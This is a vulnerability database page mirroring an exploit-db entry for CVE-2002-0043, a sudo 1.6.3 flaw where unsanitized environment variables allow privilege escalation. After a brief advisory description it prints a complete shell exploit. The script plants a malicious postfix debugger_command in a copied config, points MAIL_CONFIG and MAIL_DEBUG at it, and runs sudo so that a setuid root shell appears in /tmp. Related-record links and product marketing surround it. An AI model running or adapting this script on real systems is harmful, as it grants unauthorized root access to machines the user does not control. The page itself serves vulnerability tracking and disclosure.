Lucene search
+L

Sudo 1.6.3 - Unclean Environment Variable Privilege Escalation

🗓️ 14 Jan 2002 00:00:00Reported by Charles StevensonType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

Sudo 1.6.3 allows privilege escalation via unsafe environment variables in certain cases.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Red Hat Linux Data Compromise
28 Apr 201500:00
–bdu_fstec
cve
CVE
CVE-2002-0043
25 Jun 200204:00
–cve
cvelist
Cvelist
CVE-2002-0043
25 Jun 200204:00
–cvelist
nessus
Tenable Nessus
Debian DSA-101-1 : sudo - Local root exploit
29 Sep 200400:00
–nessus
nessus
Tenable Nessus
Mandrake Linux Security Advisory : sudo (MDKSA-2002:003)
31 Jul 200400:00
–nessus
euvd
EUVD
EUVD-2002-0043
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2002-0043
31 Jan 200205:00
–nvd
openvas
OpenVAS
Debian Security Advisory DSA 101-1 (sudo)
17 Jan 200800:00
–openvas
openvas
OpenVAS
Debian Security Advisory DSA 101-1 (sudo)
17 Jan 200800:00
–openvas
rapid7
Rapid7 Vulnerability Database (full)
CVE-2002-0043: Undefined Security Weakness
25 Jun 200200:00
–rapid7
source: https://www.securityfocus.com/bid/3871/info

Sudo is a freely available, open source permissions management software package available for the Linux and Unix operating systems. It is maintained by Todd C. Miller.

Under some circumstances, sudo does not properly sanitize the environment it executes programs with. In the event that sudo is used to run a program such as an MTA with root privileges, this could result in a local user passing unsafe data to the program via environment variables. From these environment variables the user may be able to execute commands as root, and potentially gain elevated privileges.

#!/bin/sh
#
# root shell exploit for postfix + sudo
# tested on debian powerpc unstable
#
# by Charles 'core' Stevenson <[email protected]>

# Put your password here if you're not in the sudoers file
PASSWORD=wdnownz

echo -e "sudo exploit by core <[email protected]>\n"

echo "Setting up postfix config directory..."
/bin/cp -r /etc/postfix /tmp

echo "Adding malicious debugger command..."
echo "debugger_command = /bin/cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh">>/tmp/postfix/main.cf

echo "Setting up environment..."
export MAIL_CONFIG=/tmp/postfix
export MAIL_DEBUG=

sleep 2

echo "Trying to exploit..."
echo -e "$PASSWORD\n"|/usr/bin/sudo su -

sleep 2

echo "We should have a root shell let's check..."
ls -l /tmp/sh

echo "Cleaning up..."
rm -rf /tmp/postfix

echo "Attempting to run root shell..."
/tmp/sh

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.0093
38